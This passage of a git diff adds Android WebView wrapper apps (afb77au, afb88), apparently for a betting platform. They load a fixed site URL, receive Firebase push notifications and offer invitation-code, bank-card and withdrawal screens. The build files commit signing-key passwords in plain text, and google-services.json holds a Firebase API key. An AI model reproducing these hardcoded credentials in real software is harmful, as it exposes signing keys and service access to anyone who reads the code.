计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_no_music') +} \ No newline at end of file diff --git a/afb77au/google-services.json b/afb77au/google-services.json new file mode 100644 index 0000000..e2d1d72 --- /dev/null +++ b/afb77au/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "96100481294", + "project_id": "notiaf4b", + "storage_bucket": "notiaf4b.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:96100481294:android:3f23e67f07d110d215bf5f", + "android_client_info": { + "package_name": "com.xyz.afb77au" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyDhI18q_PSnh-2VMmk2U53wW5HfzblJ1-Q" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/afb77au/ppn.jks b/afb77au/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/afb77au/ppn.jks differ diff --git a/afb77au/proguard-rules.pro b/afb77au/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/afb77au/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/afb77au/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/afb77au/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/afb77au/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/ttslot888new/nep88/src/main/AndroidManifest.xml b/afb77au/src/main/AndroidManifest.xml similarity index 99% rename from ttslot888new/nep88/src/main/AndroidManifest.xml rename to afb77au/src/main/AndroidManifest.xml index d0d9811..e4c597a 100644 --- a/ttslot888new/nep88/src/main/AndroidManifest.xml +++ b/afb77au/src/main/AndroidManifest.xml @@ -1,6 +1,6 @@ + package="com.xyz.afb77au"> { + }); + } + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/afb77au/src/main/java/com/xyz/afb77au/MyFirebaseMessageingService.java b/afb77au/src/main/java/com/xyz/afb77au/MyFirebaseMessageingService.java new file mode 100644 index 0000000..e5049d8 --- /dev/null +++ b/afb77au/src/main/java/com/xyz/afb77au/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.xyz.afb77au; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/afb77au/src/main/java/com/xyz/afb77au/WebApplication.java b/afb77au/src/main/java/com/xyz/afb77au/WebApplication.java new file mode 100644 index 0000000..0b82565 --- /dev/null +++ b/afb77au/src/main/java/com/xyz/afb77au/WebApplication.java @@ -0,0 +1,35 @@ +package com.xyz.afb77au; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/afb77au/src/main/res/drawable-anydpi/ic_action_back.xml b/afb77au/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/afb77au/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/afb77au/src/main/res/drawable-hdpi/ic_action_back.png b/afb77au/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/afb77au/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/afb77au/src/main/res/drawable-mdpi/ic_action_back.png b/afb77au/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/afb77au/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/afb77au/src/main/res/drawable-v24/ic_launcher_foreground.xml b/afb77au/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/afb77au/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/afb77au/src/main/res/drawable-xhdpi/ic_action_back.png b/afb77au/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/afb77au/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/afb77au/src/main/res/drawable-xxhdpi/ic_action_back.png b/afb77au/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/afb77au/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/afb77au/src/main/res/drawable/big_bg.xml b/afb77au/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..50ee758 --- /dev/null +++ b/afb77au/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/afb77au/src/main/res/drawable/ic_launcher_background.xml b/afb77au/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/afb77au/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/afb77au/src/main/res/drawable/input_bg.xml b/afb77au/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/afb77au/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/afb77au/src/main/res/drawable/pass_word_bg.xml b/afb77au/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/afb77au/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/afb77au/src/main/res/drawable/pass_word_bg1.xml b/afb77au/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/afb77au/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/afb77au/src/main/res/drawable/pass_word_bg2.xml b/afb77au/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/afb77au/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/afb77au/src/main/res/drawable/shape_btn_bg.xml b/afb77au/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/afb77au/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/afb77au/src/main/res/drawable/shape_dialog_bg2.xml b/afb77au/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/afb77au/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/afb77au/src/main/res/drawable/shape_dialog_bg3.xml b/afb77au/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/afb77au/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/afb77au/src/main/res/drawable/shape_dialog_bg_new.xml b/afb77au/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/afb77au/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/afb77au/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/afb77au/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/afb77au/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/afb77au/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/afb77au/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/afb77au/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/afb77au/src/main/res/mipmap-hdpi/ic_empty.png b/afb77au/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/afb77au/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/afb77au/src/main/res/mipmap-hdpi/ic_pull_down.png b/afb77au/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/afb77au/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/afb77au/src/main/res/mipmap-xhdpi/ic_close.png b/afb77au/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/afb77au/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/afb77au/src/main/res/mipmap-xhdpi/ic_menu.png b/afb77au/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/afb77au/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/afb77au/src/main/res/mipmap-xxhdpi/app_logo.png b/afb77au/src/main/res/mipmap-xxhdpi/app_logo.png new file mode 100644 index 0000000..e2b64e9 Binary files /dev/null and b/afb77au/src/main/res/mipmap-xxhdpi/app_logo.png differ diff --git a/afb77au/src/main/res/values-en/strings.xml b/afb77au/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..0d60963 --- /dev/null +++ b/afb77au/src/main/res/values-en/strings.xml @@ -0,0 +1,51 @@ + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/ttslot888new/nep88/src/main/res/values-night/themes.xml b/afb77au/src/main/res/values-night/themes.xml similarity index 100% rename from ttslot888new/nep88/src/main/res/values-night/themes.xml rename to afb77au/src/main/res/values-night/themes.xml diff --git a/ttslot888new/nep88/src/main/res/values/colors.xml b/afb77au/src/main/res/values/colors.xml similarity index 100% rename from ttslot888new/nep88/src/main/res/values/colors.xml rename to afb77au/src/main/res/values/colors.xml diff --git a/afb77au/src/main/res/values/strings.xml b/afb77au/src/main/res/values/strings.xml new file mode 100644 index 0000000..795529f --- /dev/null +++ b/afb77au/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + AFB77AU + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ttslot888new/nep88/src/main/res/values/themes.xml b/afb77au/src/main/res/values/themes.xml similarity index 100% rename from ttslot888new/nep88/src/main/res/values/themes.xml rename to afb77au/src/main/res/values/themes.xml diff --git a/afb77au/src/main/res/xml/app_updater_paths.xml b/afb77au/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/afb77au/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/afb77au/src/main/res/xml/network_security_config.xml b/afb77au/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/afb77au/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/afb77au/src/main/res/xml/provider_paths.xml b/afb77au/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/afb77au/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/afb77au/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/afb77au/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/afb77au/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/afb88/.gitignore b/afb88/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/afb88/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/afb88/build.gradle b/afb88/build.gradle new file mode 100644 index 0000000..9e468a1 --- /dev/null +++ b/afb88/build.gradle @@ -0,0 +1,78 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.xyz.afb88" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { + debug { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + release { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "afb88" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_no_music') +} \ No newline at end of file diff --git a/afb88/dskjweb.jks b/afb88/dskjweb.jks new file mode 100644 index 0000000..a303350 Binary files /dev/null and b/afb88/dskjweb.jks differ diff --git a/afb88/google-services.json b/afb88/google-services.json new file mode 100644 index 0000000..ccd0f5c --- /dev/null +++ b/afb88/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "96100481294", + "project_id": "notiaf4b", + "storage_bucket": "notiaf4b.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:96100481294:android:40a6699bb2b769da15bf5f", + "android_client_info": { + "package_name": "com.xyz.afb88" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyDhI18q_PSnh-2VMmk2U53wW5HfzblJ1-Q" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/afb88/ppn.jks b/afb88/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/afb88/ppn.jks differ diff --git a/afb88/proguard-rules.pro b/afb88/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/afb88/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/afb88/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/afb88/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/afb88/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/afb88/src/main/AndroidManifest.xml b/afb88/src/main/AndroidManifest.xml new file mode 100644 index 0000000..9e0742a --- /dev/null +++ b/afb88/src/main/AndroidManifest.xml @@ -0,0 +1,112 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/afb88/src/main/java/com/xyz/afb88/MainActivity.java b/afb88/src/main/java/com/xyz/afb88/MainActivity.java new file mode 100644 index 0000000..11cdcd9 --- /dev/null +++ b/afb88/src/main/java/com/xyz/afb88/MainActivity.java @@ -0,0 +1,49 @@ +package com.xyz.afb88; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.graphics.Color; +import android.os.Bundle; + +import com.bumptech.glide.Glide; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 182; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","https://afb88my1.com"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#c4c4c4"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#FFFFFF"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",0); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(false); + //订阅主题 + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(task -> { + }); +// getWindow().getDecorView().setBackgroundResource(Color.parseColor("#01052a")); +// Glide.with(MainActivity.this).load(R.mipmap.load_img).into(showTopV1); + } + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/afb88/src/main/java/com/xyz/afb88/MyFirebaseMessageingService.java b/afb88/src/main/java/com/xyz/afb88/MyFirebaseMessageingService.java new file mode 100644 index 0000000..4530007 --- /dev/null +++ b/afb88/src/main/java/com/xyz/afb88/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.xyz.afb88; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + 